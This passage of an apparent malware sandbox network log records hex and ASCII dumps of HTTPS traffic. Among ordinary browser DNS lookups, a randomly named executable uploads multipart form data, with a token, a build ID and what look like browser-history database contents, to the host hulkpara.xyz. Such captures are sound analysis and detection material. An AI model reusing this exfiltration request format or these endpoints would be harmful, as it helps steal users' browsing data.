2024-12-19 15:11:05 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 36 46 55 53 4a 45 55 41 31 4e 59 4d 59 43 42 53 52 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 31 36 46 55 53 4a 45 55 41 31 4e 59 4d 59 43 42 53 52 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 31 36 46 55 53 4a 45 55 41 31 4e 59 4d 59 43 42 53 52 31 56 0d 0a 43 6f 6e 74 Data Ascii: ------16FUSJEUA1NYMYCBSR1VContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------16FUSJEUA1NYMYCBSR1VContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------16FUSJEUA1NYMYCBSR1VCont
2024-12-19 15:11:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50066	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:13 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:13 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 15:11:14 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 15:11:14 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f4852f10b880cc6-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 15:11:14 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$ c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50065	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:13 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:13 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 15:11:14 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 15:11:14 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f4852f109dd4316-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 15:11:14 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 17 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50071	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:14 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:14 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 15:11:14 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 15:11:14 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f4852f24ede4201-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 15:11:14 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50072	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:14 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:14 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50074	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:14 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:14 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50070	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:14 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MGDJMO8GV3WBIMG4EK6X User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:14 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 47 44 4a 4d 4f 38 47 56 33 57 42 49 4d 47 34 45 4b 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4d 47 44 4a 4d 4f 38 47 56 33 57 42 49 4d 47 34 45 4b 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4d 47 44 4a 4d 4f 38 47 56 33 57 42 49 4d 47 34 45 4b 36 58 0d 0a 43 6f 6e 74 Data Ascii: ------MGDJMO8GV3WBIMG4EK6XContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------MGDJMO8GV3WBIMG4EK6XContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------MGDJMO8GV3WBIMG4EK6XCont
2024-12-19 15:11:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:15 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50096	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:16 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----NYMOHL6FUSJEUASJMGVS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 59 4d 4f 48 4c 36 46 55 53 4a 45 55 41 53 4a 4d 47 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 4d 4f 48 4c 36 46 55 53 4a 45 55 41 53 4a 4d 47 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4e 59 4d 4f 48 4c 36 46 55 53 4a 45 55 41 53 4a 4d 47 56 53 0d 0a 43 6f 6e 74 Data Ascii: ------NYMOHL6FUSJEUASJMGVSContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------NYMOHL6FUSJEUASJMGVSContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------NYMOHL6FUSJEUASJMGVSCont
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:16 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
